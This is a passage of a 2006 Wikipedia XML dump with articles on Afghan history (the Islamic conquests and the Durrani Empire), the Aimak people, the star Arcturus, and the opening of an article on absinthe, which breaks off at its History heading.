The Mughals sought not only to block the historical western invasion routes into India but also to control the fiercely independent [[Pashtun]] tribes who accepted only nominal control from Delhi in their mountain strongholds between the Kabul-Kandahar axis and the [[Indus River]] - especially in the [[Pashtun]] area of the [[Suleiman Mountains|Suleiman Range]]. As the area around Kandahar changed hands back and forth between the two great empires on either side, the local Pashtun tribes exploited the situation to their advantage by extracting concessions from both sides. By the middle of the seventeenth century, the Mughals had abandoned the Hindu Kush north of Kabul to the Uzbeks, and in 1622 they lost Kandahar to the Safavids for the third and final time.

Toward the end of the seventeenth century, as the power of the Safavids waned, native groups began to assert themselves in Afghanistan. Early in the eighteenth century, a clan of the [[Ghilzai|Ghilzai Pashtuns]], later known as the [[Hotaki]] dynasty, overturned Safavid rule in Kandahar by 1708, and subsequently took-over and ruled most of Safavid Persia and Afghanistan from 1722 until 1736. The Ghilzai Pashtuns managed to briefly hold the Safavid capital of [[Isfahan (city)|Isfahan]], and two members of this tribe ascended the throne before the Ghilzai were evicted from Iran by the Turko-Iranian conqueror, [[Nadir Shah]], who became known by some in the West as the &quot;Persian Napoleon.&quot;

Nadir Shah conquered Kandahar and Kabul in 1738 along with defeating a formidable Mughal army in India, plundering Delhi, and massacring thousands of its people. He returned home with vast treasures, including the [[Peacock Throne]], which thereafter served as a symbol of Iranian imperial might. Nadir Shah, as a Sunni Muslim, had surrounded himself with other Sunnis most notably those of Turkic and Pashtun background. One notable military officer was [[Ahmad Shah Durrani|Ahmad Shah Abdali]], an ethnic Pashtun who would come to shape the modern history of Afghanistan following the end of Nadir Shah's reign.

==See also==

*[[Islamic conquests]]
*[[Crusades]]
*[[Reconquista]]

==External links==

* ''The Guardian'': &quot;[http://www.guardian.co.uk/print/0,3858,5217828-103595,00.html Lost Tribe Struggles for Survival]&quot;

[[Category:History of Afghanistan]]
[[Category:Islamic conquests]]
[[Category:Middle Ages]]
[[Category:History of Pakistan]]


[[no:Den islamske erobringen av Afghanistan]]</text>
    </revision>
  </page>
  <page>
    <title>Durrani Empire</title>
    <id>3070</id>
    <revision>
      <id>41994989</id>
      <timestamp>2006-03-03T02:41:23Z</timestamp>
      <contributor>
        <username>Tombseye</username>
        <id>207755</id>
      </contributor>
      <text xml:space="preserve">{{History of Afghanistan}}
&lt;!-- Image with unknown copyright status removed: [[Image:Durrani Empire.gif|200px|thumb|left|Map of the Afghan Durrani Empire]] --&gt;

The '''Durrani Empire''' was a state in present day [[Afghanistan]].  From [[1747]] until [[1823]] [[Ahmad Shah]] and his sons and grandsons held the monarchy. The name &quot;Afghanistan&quot; is mentioned since 1801 in the Anglo-Persian peace treaty for the first time officially. They were the first [[Pashtun]] rulers of Afghanistan, from the [[Sadozai]] line of the Abdali or [[Durrani]] group of clans. It was under the leadership of Ahmad Shah that the nation of Afghanistan began to take shape following centuries of fragmentation and exploitation. Even before the death of the Turko-[[Iranian peoples|Iranian]] ruler [[Nadir Shah]], tribes in the [[Afghanistan]] had been growing stronger and were beginning to take advantage of the waning power of their distant rulers.

== Reign of Ahmad Shah ([[1747]]-[[1772]]) ==
[[Image:Ahmad_Shah_Durrani.jpg|150px|thumb|right|Ahmad Shah Durrani]]
[[Nadir Shah]]'s rule abruptly ended in June 1747 when he was assassinated. Some believe that [[Ahmad Shah]] had something to do with his death, but the evidence remains somewhat circumstantial. Regardless, Ahmad Shah took the opportunity to move towards the creation of a separate state in the eastern Persian Empire in what is today Afghanistan and western Pakistan. In 1747 Ahmad Shah and his Abdali horsemen joined the chiefs of the [[Durrani|Abdali]] tribes and clans near [[Kandahar]] at a [[loya jirga]] to choose a leader. Despite being younger than other claimants, Ahmad had several overriding factors in his favor. He was a direct descendant of [[Sado]], [[eponym]] of the [[Sadozai]], the most prominent tribe amongst the Pashtuns at the time; he was unquestionably a charismatic leader and seasoned warrior who had at his disposal a trained, mobile force of several thousand cavalrymen; and he possessed part of Nadir Shah's treasury.

One of Ahmad Shah's first acts as chief was to adopt the title &quot;Durr-i-Durrani&quot; (&quot;pearl of pearls&quot; or &quot;pearl of the age&quot;), which may have come from a dream or from the pearl earrings worn by the royal guard of Nadir Shah. The Abdali Pashtuns were known thereafter as the [[Durrani]].

Ahmad Shah began his rule by capturing [[Ghazni]] from the [[Ghilzai|Ghilzai Pashtuns]], and then wresting [[Kabul]] from the local ruler. In 1749 the [[Mughal Empire|Mughal]] ruler ceded sovereignty over [[Sindh]] Province and the [[Punjab region|Punjab]] west of the [[Indus River]] to Ahmad Shah in order to save his capital from Afghan attack. Ahmad Shah then set out westward to take possession of [[Herat]], which was ruled by Nadir Shah's grandson, [[Shah Rukh of Persia]]. Herat fell to Ahmad after almost a year of siege and bloody conflict, as did [[Mashhad]] (in present-day [[Iran]]). Ahmad next sent an army to subdue the areas north of the Hindu Kush. In short order, the powerful army brought under its control the [[Turkmen people|Turkmen]], [[Uzbek]], [[Tajiks|Tajik]], and [[Hazara]] tribes of northern Afghanistan. Ahmad invaded the remanants of the [[Mughal Empire]] a third, then a fourth, time, consolidating control of the [[Punjab region|Punjab]] and [[Kashmir]]. Then, early in 1757, he sacked [[Delhi]], but permitted the Mughal Dynasty to remain in nominal control as long as the ruler acknowledged Ahmad's suzerainty over the Punjab, Sindh, and Kashmir. Leaving his second son [[Timur Shah]] to safeguard his interests, Ahmad left India to return to Afghanistan.

The collapse of Mughal control in India, however, also facilitated the rise of rulers other than Ahmad Shah. In the Punjab, the [[Sikhs]] emerged as a potent force. From their capital at [[Pune]], the [[Marathas]], [[Hindu|Hindus]] who controlled much of western and central India, were beginning to look northward to the decaying Mughal empire, which Ahmad Shah now claimed by conquest. Upon his return to Kandahar in [[1757]], Ahmad was forced to return to India and face the formidable attacks of the Maratha Confederacy, which succeeded in ousting Timur and his court in India.

Ahmad Shah declared a [[jihad]] (or [[Islam]]ic holy war) against the Marathas, and warriors from various Pashtun tribes, as well as other tribes such as the [[Baloch]], [[Tajiks]], and Muslims in India, answered his call. Early skirmishes ended in victory for the Afghans, and by [[1759]] Ahmad and his army had reached Lahore and were poised to confront the Marathas. By [[1760]] the Maratha groups had coalesced into a great army that probably outnumbered Ahmad Shah's forces. Once again [[Panipat]] was the scene of a confrontation between two warring contenders for control of northern India. The [[Third Battle of Panipat|Battle of Panipat]] in [[1761]] between largely [[Islam|Muslim]] and [[Hinduism|Hindu]] armies who numbered as many as 100,000 troops each was fought along a twelve-kilometer front. Despite decisively defeating the Marathas, what might have been Ahmad Shah's peaceful control of his domains was disrupted by other challenges.

The victory at Panipat was the high point of Ahmad Shah's--and Afghan--power. His Durrani Empire was one of the largest Islamic empires in the world at that time. However, even prior to his death, the empire began to unravel. By the end of 1761, the Sikhs had gained power and taken control of much of the Punjab. In [[1762]] Ahmad Shah crossed the passes from Afghanistan for the sixth time to subdue the Sikhs. He assaulted Lahore and, after taking their holy city of [[Amritsar]], massacred thousands of Sikh inhabitants, destroying their temples and desecrating their holy places with cow's blood. Within two years the Sikhs rebelled again. Ahmad Shah tried several more times to subjugate the Sikhs permanently, but failed. By the time of his death, he had lost all but nominal control of the Punjab to the Sikhs, who remained in charge of the area until defeated by the [[British Empire|British]] in the [[First Anglo-Sikh War]] in [[1846]].

Ahmad Shah also faced other rebellions in the north, and eventually he and the Uzbek Emir of [[Bukhara]] agreed that the [[Amu Darya]] would mark the division of their lands. In [[1772]] Ahmad Shah retired to his home in the mountains east of Kandahar, where he died. Ahmad Shah had succeeded to a remarkable degree in balancing tribal alliances and hostilities and in directing tribal energies away from rebellion. He earned recognition as Ahmad Shah Baba, or &quot;Father&quot; of Afghanistan.

By the time of Ahmad Shah's ascendancy, the Pashtuns included many groups whose origins were obscure; most were believed to have descended from ancient [[Aryan]] tribes, but some, such as the Ghilzai, may have intermingled with [[Turkic peoples|Turks]], while others such as the Durrani became persianized due to their contacts with the Tajiks. They had in common, however, their Pashtu language and belief in common ancestry that sometimes united them. To the east, the [[Waziri|Waziris]] and their close relatives, the [[Mahsud|Mahsuds]], had lived in the hills of the central [[Sulaiman Mountains]] since the fourteenth century. By the end of the sixteenth century and the final Turkish-[[Mongol]] invasions, tribes such as the [[Shinwari|Shinwaris]], [[Yousafzai|Yusufzais]], and [[Mohmand|Mohmands]] had moved from the upper [[Kabul River]] valley into the valleys and plains west, north, and northeast of [[Peshawar]]. The [[Afridi|Afridis]] had long been established in the hills and mountain ranges south of the [[Khyber Pass]]. By the end of the [[18th Century|eighteenth century]], the Durranis had blanketed the area west and north of Kandahar and were to be found as far east as [[Quetta]], [[Baluchistan]].

== Reign of Timur Shah ([[1772]]-[[1793]]) ==

[[Timur Shah]] had 24 sons, several of whom became kings.

[[Ahmad Shah]]'s successors governed so ineptly during a period of profound unrest that within fifty years of his death, [[Afghanistan]] was embroiled in a civil war. Many of the territories conquered with the help of Ahmad Shah's military skill fell to others in this half century. By [[1818]] the Sadozai rulers who succeeded Ahmad Shah controlled little more than [[Kabul]] and the surrounding territory within a 160-kilometer radius. They not only lost the outlying territories but also alienated other tribes and lineages among the Durrani [[Pashtuns]].

== Reign of Zaman Shah ([[1793]]-[[1801]])==

After the death of Timur Shah, the three strongest contenders for the position of shah were Timur's sons, the governors of [[Kandahar]], [[Herat]], and [[Kabul]]. [[Zaman Shah]], governor of Kabul, was in the most commanding position and became shah at the age of twenty-three. His half-brothers accepted this only by force majeure--upon being imprisoned on their arrival in the capital for the purpose, ironically, of electing a new shah. The quarrels among Timur's descendants that threw Afghanistan into turmoil also provided the pretext for the intervention of outside forces.

The efforts of the Sadozai heirs of Timur to impose a true monarchy on the truculent [[Pashtun]] tribes and to rule absolutely and without the advice of the other, larger Pashtun tribes' leaders were ultimately unsuccessful. The [[Sikhs]] too, were particularly troublesome, and after several unsuccessful efforts to subdue them, Zaman made the mistake of appointing a forceful young Sikh chief, [[Ranjit Singh]], as his governor in the Punjab. The &quot;one-eyed&quot; warrior would later become an implacable enemy of Pashtun rulers in Afghanistan.

Zaman's downfall was triggered by his attempts to consolidate power. Although it had been through the support of the [[Muhammadzai]] chief, [[Painda Khan]], that he had come to the throne, Zaman soon began to remove prominent Muhammadzai leaders from positions of power and replacing them with men of his own lineage, the [[Sadozai]]. This upset the delicate balance of Durrani tribal politics that Ahmad Shah had established and may have prompted Painda Khan and other Durrani chiefs to plot against the shah. Painda Khan and the chiefs of the [[Nurzai]] and the [[Alizai]] Durrani clans were executed, as was the chief of the [[Qizilbash]] clan. Painda Khan's son fled to [[Iran]] and pledged the substantial support of his Muhammadzai followers to a rival claimant to the throne, Zaman's older brother, [[Mahmud Shah]]. The clans of the chiefs Zaman had executed joined forces with the rebels, and they took Kandahar without bloodshed.

== First Reign of Mahmud Shah ([[1801]]-[[1803]]) ==

Zeman Shah's overthrow in [[1801]] was not the end of civil strife in [[Afghanistan]] but the beginning of even greater violence. [[Mahmud Shah (ruler of Afghanistan)|Mahmud Shah]]'s first reign lasted only for two years before he was replaced by [[Shuja Shah]].

== Reign of Shuja Shah ([[1803]]-[[1809]]) ==

Yet another of Timur Shah's sons, [[Shuja Shah]], ruled for only six years. On [[June 7]], [[1809]], Shoja signed a [[Treaty of Friendship]] with the [[United Kingdom|British]] which included a clause stating that he would oppose the passage of foreign troops through his territories. This agreement, the first Afghan pact with a [[European]] power, stipulated joint action in case of [[France|Franco]]-[[Iran|Persia]]n aggression against Afghan or British dominions. Only a few weeks after signing the agreement, Shoja was deposed by his predecessor, Mahmud.  Much later he was reinstated by the British, ruling during [[1839]]-[[1842]].  Two of his sons also ruled for a short time in 1842).

== Second Reign of Mahmud Shah ([[1809]]-[[1818]]) ==

Mahmud's second reign lasted nine years. Mahmud alienated the [[Muhammadzai]], especially [[Fateh Khan]], the son of [[Painda Khan]], who was eventually seized and blinded. Revenge would later be sought and obtained by Fateh Khan's youngest brother, [[Dost Mahommed Khan]].

== Reign of Sultan Ali Shah ([[1818]]-[[1819]]) ==

[[Sultan Ali Shah]] was another son of [[Timur Shah]].

== Reign of Ayub Shah ([[1819]]-[[1823]]) ==

[[Ayub Shah]] was another son of Timur Shah, who deposed Sultan Ali Shah.  He was himself deposed and presumably killed in [[1823]].

From 1818 until Dost Mohammad's ascendancy in 1826, chaos reigned in the domains of Ahmad Shah Durrani's empire as various sons of [[Painda Khan]] struggled for supremacy. Afghanistan ceased to exist as a single nation, disintegrating for a brief time into a fragmented collection of small units. 

[[Category:History of Afghanistan]]
[[Category:History of Pakistan]]
[[Category:History of India]]
[[Category:History of Iran]]
[[Category:Empires]]
[[Category:History of North-West Frontier Province]]

[[no:Durrani-dynastiet]]</text>
    </revision>
  </page>
  <page>
    <title>Aimak</title>
    <id>3071</id>
    <revision>
      <id>39528591</id>
      <timestamp>2006-02-14T02:40:02Z</timestamp>
      <contributor>
        <username>Kareeser</username>
        <id>69961</id>
      </contributor>
      <comment>removed merger notice pending discussion (see [[User_talk:Khoikhoi#Merger_of_Chakhar_to_Aimak]])</comment>
      <text xml:space="preserve">The '''Aimak''' (or ''Eimak'', ''Aimaq'') are [[Persian language|Persian]]-speaking [[nomad]]ic or semi-nomadic tribes of mixed [[Iranian people|Iranian]] and [[Mongols|Mongolian]] stock inhabiting the north and north-west [[Afghanistan|Afghan]] [[highland]]s immediately to the north of [[Herat]]. They are closely related to the [[Hazara]]. They live in western [[Hazarajat]] in the provinces of [[Ghowr Province|Ghowr]], [[Farah Province|Farah]], [[Herat Province|Herat]], [[Badghis Province|Badghis]], [[Faryab Province|Faryab]], [[Jowzjan Province|Jowzjan]] and [[Sar-e Pol Province|Sar-e Pol]]. The name is [[Mongolian language|Mongolian]] for [[clan]], or section of a tribe.

They were originally known as ''chahar'' (the four) Eimaks, because there were four principal [[tribe]]s: the [[Taimani]] (the predominating element in the population of [[Ghur]]), the [[Ferozkhoi]], the [[Temuri]], and the [[Jamshidi]]. 
Estimates of the Aimak population vary between a quarter of a million and 2 million. They are [[Sunni]] [[Muslims]] in distinction from the Hazara who are [[Shiite]]s.  They are predominantly of [[Iran]]ian or quasi-Iranian blood, while the Hazara are [[Turanian]].  They are a bold, wild people and renowned fighters. 

The Aimagh population in [[Afghanistan]] is estimated to be 1-2 million. The calculation is made difficult by the fact that due to centuries of oppression of the [[Hazara]] people, some Aimagh [[Hazara]]s are classified officially as [[Tajiks|Tajik]], or [[Persians|Persian]]).

Playing on this [[sectarian divide]]s, successive [[Afghanistan|Afghan]] governments (usually dominated by the ethnic [[Pashtun]]s) divided the Aimaks and the Hazaras politically, listing them as separate nationalities in the list of the ethnic groups of Afghanistan, thereby reducing the Hazara population in the national percentage.  

They are supposed to be descendants of Turkish-[[Tatars|Tatar]] tribes which under [[Hulagu Khan]] overthrew the Persian [[Caliphate]] in the middle of the thirteenth century.  

==References==
* Macgregor, ''Central Asia'', (Calcutta, 1871)  

==Sources==
*[http://www.language-museum.com/a/aimaq.php Aimaq Sample at Language Museum]


[[Category:Ethnic groups in Afghanistan]]
[[Category:Ethnic groups in Asia]]
[[Category:Iranian peoples]]
[[Category:Mongol peoples]]

[[no:Aimagh]]
[[sv:Aimak]]</text>
    </revision>
  </page>
  <page>
    <title>Arcturus</title>
    <id>3072</id>
    <revision>
      <id>41727762</id>
      <timestamp>2006-03-01T09:14:28Z</timestamp>
      <contributor>
        <username>Jyril</username>
        <id>39573</id>
      </contributor>
      <minor />
      <comment>[[Sun]], not [[Sol]]</comment>
      <text xml:space="preserve">:''This article is about the star. For a musical ensemble, see [[Arcturus (band)]].''
{{Starbox begin |
   name=Arcturus }}
{{Starbox image |
  image=[[Image:Bootes constellation map.png|250px]] |
  caption=Arcturus in the constellation of Boötes. }}
{{Starbox observe |
  epoch=J2000 |
  constell=[[Boötes]] |
  ra=14h 15m 39.7s |
  dec=+19° 10' 56&quot; |
  appmag_v=&amp;minus;0.05 }}
{{Starbox character |
  class=K1.5 IIIpe |
  b-v=1.22 |
  u-b=1.27 |
  variable=''Suspected'' }}
{{Starbox astrometry |
  radial_v=&amp;minus;5.3 |
  prop_mo_ra=&amp;minus;1093.45 |
  prop_mo_dec=&amp;minus;1999.40 |
  parallax=88.78 |
  p_error=0.68 |
  dist_ly=36.7 |
  dist_pc=11.26 |
  absmag_v=&amp;minus;0.38 }}
{{Starbox detail|
  age=&gt; 4.6 × 10&lt;sup&gt;9&lt;/sup&gt; |
  metal=17&amp;ndash;32% Sun |
  mass=1&amp;ndash;1.5 |
  radius=24.5 |
  rotation= |
  luminosity=&gt; 110 |
  temperature=4,300 }}
{{Starbox catalog |
  names=Alramech, Abramech, α Boötis, 16 Boötes, [[Henry Draper catalogue|HD]] 124897, [[Harvard Revised catalogue|HR]] 5340, [[Bonner Durchmusterung|BD]]+19°2777, [[General Catalogue of Trigonometric Parallaxes|GCTP]] 3242.00, [[Gliese-Jahreiss catalogue|GJ]] 541, [[Luyten Half-Second catalogue|LHS]] 48, and [[Hipparcos Catalogue|HIP]] 69673. }}
{{Starbox end}}
'''Arcturus''' (α Boo / α Boötis / [[alpha (letter)|Alpha]] Boötis) is the brightest star in the [[constellation]] [[Boötes]], and the [[list of brightest stars|third brightest star]] in the night sky, with a [[visual magnitude]] of &amp;minus;0.05, after [[Sirius]] and [[Canopus (star)|Canopus]] (fourth, if the [[Sun]] is included). Because [[Alpha Centauri]] consists of two bright stars which are closer together than the limit of resolution of the human eye, Alpha Centauri actually appears brighter than Arcturus to the naked eye. It is the second brightest star visible from northern latitudes and the brightest star in the northern celestial hemisphere.

It is a [[stellar classification|type]] K1.5 IIIpe [[red giant]] star &amp;mdash; the letters &quot;pe&quot; stand for &quot;peculiar emission,&quot; which indicates that the [[electromagnetic spectrum|spectrum]] of [[light]] given off by the star is unusual and full of [[emission line]]s. This is not too uncommon in red giants, but Arcturus has a particularly strong case of the phenomenon. It is at least 110 times more luminous than the [[Sun]], but this underestimates its strength as much of the &quot;light&quot; it gives off is in the [[infrared]]; total power output is about 180 times that of the Sun.  

An easy way to find Arcturus is to follow the arc of the handle of the [[Big Dipper]]. By continuing in this path, one can find [[Spica]] (α [[Virgo|Virginis]]) as well &amp;mdash; leading to the coinage of the popular maxim, &quot;Arc to Arcturus, then speed on to Spica.&quot;

== Facts ==
Arcturus is notable for its high proper motion, larger than any first magnitude star other than nearby [[Alpha Centauri|α Centauri]]. It is now at its closest point to the Sun, and is moving rapidly relative to the solar system. Arcturus is thought to be an old disk star, and appears to be moving with a group of 52 other such stars. Its mass is hard to exactly determine, but may be about the same as the Sun, and is no more than 1.5 solar masses. Arcturus is likely to be considerably older than the Sun, and much like what the Sun will be in its red giant phase.

According to the ''[[Hipparcos]]'' satellite, Arcturus is 36.7 [[light year]]s (11.3 [[parsec]]s) (215.5 trillion miles) from [[Earth]], relatively close in astronomical terms. From this satellite's observations, Arcturus is now known to be slightly [[variable star|variable]], by about 0.04 magnitudes over 8.3 days. It is believed that the surface of the star oscillates slightly, a common feature of red giant stars. In the case of Arcturus, this was an interesting discovery as it is known that the redder (more towards or within the M spectral class) a giant gets, the more variable it will be. Extreme cases like [[Mira]] undergo large swings over hundreds of days; Arcturus is not very red and is a borderline case between variability and stability with its short period and tiny range.

''Hipparcos'' also suggested that Arcturus is a [[binary star]], with the companion about twenty times dimmer than the primary and orbiting close enough to be at the very limits of our current ability to make it out. The most recent studies of the issue are generally coming down on the side of it being a single star, however.

==Alternative and former names==

The name of the star derives from ancient [[Greek language|Greek]] Αρκτούρος ('''Arktouros''') and means &quot;Bear Guard.&quot; This is a reference to it being the brightest star in the constellation Boötes the Hunter (of which it forms the left foot), which is next to the Big and Little Bears, [[Ursa Major]] and [[Ursa Minor]].

In [[Arabic language|Arabic]], it is called '''Haris-el-sema''', &quot;the keeper of heaven.&quot; This name has been variously [[Romanization|romanized]] in the past, leading to obsolete variants such as '''Aramec''' and '''Azimech'''.

It corresponds to the [[Hindu_calendar|Hindu]] astronomy [[Nakshatra]] of [[Svati|Svātī]].

==Cultural significance==

Prehistoric [[Polynesia|Polynesian]] [[navigation|navigators]] knew Arcturus as '''[[Hokulea|Hokule'a]]''', the &quot;Star of Joy.&quot;  Arcturus is the [[Zenith Star]] of the [[Hawaiian Islands]].  Using Hokule'a and other stars,  the Polynesians launched their double-hulled [[canoe]]s from [[Tahiti]] and the [[Marquesas Islands]].  Traveling east and north they eventually crossed the [[equator]] and reached the [[latitude]] where Arcturus would appear directly overhead in the summer [[night sky]].  Knowing they had arrived at the exact latitude of the island chain, they sailed due west on the [[trade wind]]s until making landfall. If Hokule'a could be kept directly overhead, they landed on the southeastern shores of the [[Hawaii (island)|Big Island]] of [[Hawaii]].  For a return trip to Tahiti the navigators could use [[Sirius]], the zenith star of that island.

The star achieved fame in [[1933]] when its light was used to open the [[World's Fair]] in [[Chicago, Illinois]]. The star was chosen as that light had started its journey at about the time of the previous Chicago fair in [[1893]].

===In fiction===
In the [[fiction|fictionalized]] universe of [[Marvel Universe|Marvel]] comics, the Arcturan system is [[binary star|binary]] and has at least four [[planet]]s. It is also an inhabited binary system in the 1920 novel [http://www.litrix.com/arcturus/arctu001.htm ''A Voyage to Arcturus''], by [[David Lindsay (novelist)|David Lindsay]]. 

In'' [[The Hitchhiker's Guide to the Galaxy]]'' there are several references to Arcturan species and things, presumably originating on a planet orbiting Arcturus. Examples include &quot;Arcturan Megadonkey&quot; and &quot;Arcturan Megafreighter&quot;, see [[wikisource:The Ultra-Complete Index to the Hitch Hiker's Guide to the Galaxy|The Ultra-Complete Index]] for a more extensive list.

[[Isaac Asimov]]'s [[The Foundation Series]] has [[Arcturus (planet)|Arcturus]] as the capital of the [[Sirius Sector]] in the [[Galactic Empire (Asimov)|Galactic Empire]].

In [[Stargate Atlantis]], [[Project Arcturus]] is a failed [[Ancient (Stargate)|Ancient]] power-source project.

[[Arcturus]] is also a [[Korea]]n [[Computer role-playing game|RPG]] game created jointly by [[Gravity Corporation]] and Sonnori.

David Linsey has a fantasy or science fiction novel 'A Voyage to Arcturus'.

In the [[Starcraft]] series of games, Sons of Korhal leader and later Emperor Arcturus Mengsk is presumably named for this star.  There is some ambiguity, however, as the word 'arcturus' occurs in [[Latin]] (as the Future Active Participle of the verb 'arcere') and could provide an alternative source for the name.

===In new-age religion===

Some [[New Age]]rs believe in [[Arcturians]], a supposed highly advanced [[extraterrestrial]] race.

===In the Bible===
In the [[King James Version]] of the [[Bible]], Arcturus is mentioned twice in the [[Book of Job]]:
:&quot;Which maketh ''Arcturus'', [[Orion (constellation)|Orion]], and [[Pleiades (astronomy)|Pleiades]], and the chambers of the south.&quot;
::[[wikisource:Bible, English, King James, Job#Chapter 9|''Job 9:9'']] 
:&quot;Canst thou bring forth [[Mazzaroth]] in his season?
:or canst thou guide ''Arcturus'' with his sons?&quot;
::[[wikisource:Bible, English, King James, Job#Chapter 38|''Job 38:32'']] 
The [[Hebrew language|Hebrew]] word thus translated is עיש ''Ash'' or'' 'Ayish''. Due to the obscurity of ancient terminology, some scholars dispute this identification, instead equating it with [[Aldebaran]], [[Canopus (star)|Canopus]], Ursa Major, or the Pleiades, among other celestial objects{{ref|ash}}.

=== Occult traditions ===

In the [[astrology]] of the [[Middle Ages]], Arcturus was one of the 15 [[Behenian fixed stars]], associated with [[jasper]] and the [[plantago|plantain]] herb. [[Cornelius Agrippa]] lists its symbol [[Image:Agrippa1531 Alchameth.png]] under the alternate name '''Alchameth'''.

==References==
*{{note|ash}} Hirsch, Emil G. (1906). Constellations. In [http://www.jewishencyclopedia.com/view.jsp?artid=749&amp;letter=C ''The Jewish Encyclopedia'']. New York: Funk &amp; Wagnall's. Retrieved July 11, 2005.
*{{note|astrology}}Wright, Anne (2003). [http://www.winshop.com.au/annew/Arcturus.html &quot;The Fixed Stars: Arcturus&quot;]. Retrieved July 11, 2005.

==External links==

* [http://www.geocities.com/glakandar/gotw/arcturus.htm Discussion of Arcturus' role in Marvel comics]
* [http://www.solstation.com/stars2/arcturus.htm SolStation.com entry]
* [http://www.crystalinks.com/arcturus.html Crystal Links page on the star]

[[Category:Bayer objects|Boötis, Alpha]]
[[Category:Boötes constellation]]
[[Category:Orange giants]]
[[Category:Red giant branch stars]]
[[Category:Variable stars]]

[[ca:Arcturus]]
[[de:Arcturus]]
[[es:Arturo (estrella)]]
[[fr:Arcturus (étoile)]]
[[gl:Arcturus]]
[[it:Arturo (astronomia)]]
[[lt:Arktūras]]
[[nl:Arcturus (ster)]]
[[ja:アルクトゥルス]]
[[pl:Arktur]]
[[sk:Arktúr]]
[[fi:Arcturus]]</text>
    </revision>
  </page>
  <page>
    <title>Absinthe</title>
    <id>3073</id>
    <revision>
      <id>42128642</id>
      <timestamp>2006-03-04T00:30:32Z</timestamp>
      <contributor>
        <username>Discordance</username>
        <id>762600</id>
      </contributor>
      <minor />
      <comment>/* External links */ +cat Distilled beverages</comment>
      <text xml:space="preserve">[[Image:Pernodad.jpg|right|thumbnail|A vintage absinthe advertisement]]
{{wiktionarypar|absinthe}}
'''Absinthe''' (from [[French language|French]], from [[Latin]] ''[http://en.wiktionary.org/wiki/absinthium absinthium]'', [[ancient Greek]] ''apsinthion'', &quot;[[Artemisia (plant)|wormwood]]&quot;) is a high-[[ethanol|alcohol]] [[anise]]-flavored spirit derived from [[herb]]s including the flowers and leaves of the medicinal plant ''[[Absinth Wormwood|Artemisia absinthium]]'', also called [[wormwood]]. Historically it has been ambiguous whether it is a [[liqueur]] or aromatized spirit&lt;ref name=&quot;britannica&quot;&gt;[http://www.gutenberg.org/dirs/etext95/pge0112.txt 1911 Encyclopædia Britannica] at [[Project Gutenberg]].&lt;/ref&gt; however modern regulations have reclassified it as a spirit due to its low sugar content&lt;ref name=&quot;EEC&quot;&gt;[http://europa.eu.int/eur-lex/lex/LexUriServ/LexUriServ.do?uri=CELEX:31989R1576:EN:HTML Council Regulation (EEC) No 1576/89 of 29 May 1989 laying down general rules on the definition, description and presentation of spirit drinks] an EEC regulation requires a sugar content of 100g per litre for a drink to be labelled a liqueur.&lt;/ref&gt;.

Nicknamed ''la Fée Verte'' (&quot;The Green [[Fairy]]&quot;), absinthe has a taste similar to other anise-flavored liqueurs, with a light bitterness imparted by the use of other herbs, and is traditionally a pale or emerald [[green]] in color. It is especially known for its popularity in [[France]]&amp;mdash;particularly its romantic associations with [[Bohemianism|Parisian]] artists and writers&amp;mdash;in the late [[19th century|19th]] and early [[20th century|20th centuries]], until its [[prohibition]] in 1915. The most popular brand of absinthe worldwide at the time was [[Pernod Fils]]. At the height of its popularity, absinthe was portrayed as a dangerously [[addictive]], [[psychoactive]] drug and similarly banned in other European countries and in the [[United States]]. In fact, high alcohol content and a suggestive reputation are now considered to be its most active ingredients. A modern-day absinthe revival began in the [[1990s]], as countries in the [[European Union]] began to reauthorize its manufacture and sale.

==Constituents==
[[Image:Koehler1887-PimpinellaAnisum.jpg|right|thumb|100px|Anise]]
[[Image:Koeh-164.jpg|right|thumb|100px|Grand Wormwood]]
In addition to wormwood, absinthe contains [[anise]] (often partially substituted with [[star anise]]), Florence [[fennel]], [[hyssop]], [[Lemon balm|melissa]], and [[Roman wormwood]] (''Artemisia pontica''). Various recipes also include [[angelica]] root, [[sweet flag]], [[dittany]] leaves, [[coriander (spice)|coriander]], [[veronica (plant)|veronica]], [[juniper]], [[nutmeg]], and various mountain herbs.

A simple [[maceration]] of wormwood without distillation produces an extremely bitter drink, due to the presence of the water-soluble [[absinthine]], one of the most bitter substances known. Authentic recipes call for [[distill]]ation after the primary maceration and before the secondary or &quot;coloring&quot; maceration.  The distillation of wormwood, anise, and Florence fennel first produces a colorless [[alcoholate]] which leaves the [[alembic]] at around 82% [[ethanol|alcohol]]. It can be left clear, called a ''la Bleue'' or ''la Blanche'', or the well-known green color of the beverage can be imparted either artificially or with [[chlorophyll]] by steeping Roman wormwood, hyssop, and melissa in the liquid. After this process, the resulting product is reduced with water to the desired percentage of alcohol. Over time and exposure to light the chlorophyll will break down, causing the drink to go from emerald green to yellow green to brown.

Non-traditional varieties are made by cold-mixing herbs, essences or oils in alcohol, with the distillation process omitted.

Alcohol makes up the majority of the drink and is extremely high, between 45% and 89.9%[http://www.drinkfinder.co.uk/showdetails.asp?id=2128], though there is no historical evidence that any commercial vintage absinthe was higher than 74%.  Given the high strength and low alcohol solubility of many of the herbal components, absinthe is usually not imbibed &quot;straight,&quot; but consumed after a fairly elaborate preparation [[ritual]].

Historically, there were five grades of absinthe: ''ordinaire'', ''demi-fine'', ''fine'', ''supérieure'' and ''Suisse'' (which does not denote origin), in order of increasing alcoholic strength. The best absinthes contain 60% to 74% alcohol. It is said to improve materially with storage. In the 19th century, cheap brands of absinthe were occasionally [[adulteration|adulterated]] by profiteers with [[copper]], [[zinc]], [[indigo plant]], or other [[dye]]s to impart the green color, and with [[antimony]] trichloride to produce the ''louche'' effect; this addition of toxic chemicals may have contributed to absinthe's reputation as an unhealthful beverage.

==Preparation==
Traditionally absinthe is poured into a glass over which a specially designed, slotted spoon is placed. A [[sugar]] cube is then deposited in the bowl of the spoon. Ice cold [[water]] is poured or dripped over the sugar until the drink is diluted 3:1 to 5:1. During this process, the components that are not soluble in water come out of solution and cloud the drink; that milky [[opalescence]] is called the ''louche'' (''Fr.'' &quot;opaque&quot; or &quot;shady&quot;).

A modern and more dramatic &quot;[[fire]] ritual&quot; was invented by a [[Czech Republic|Czech]] manufacturer, in which the sugar cube is drenched in [[absinth]] and set on fire. Water is then added to douse the flames and dissolve the caramelized sugar.  Generally, less water is added than in the traditional method.

==History==
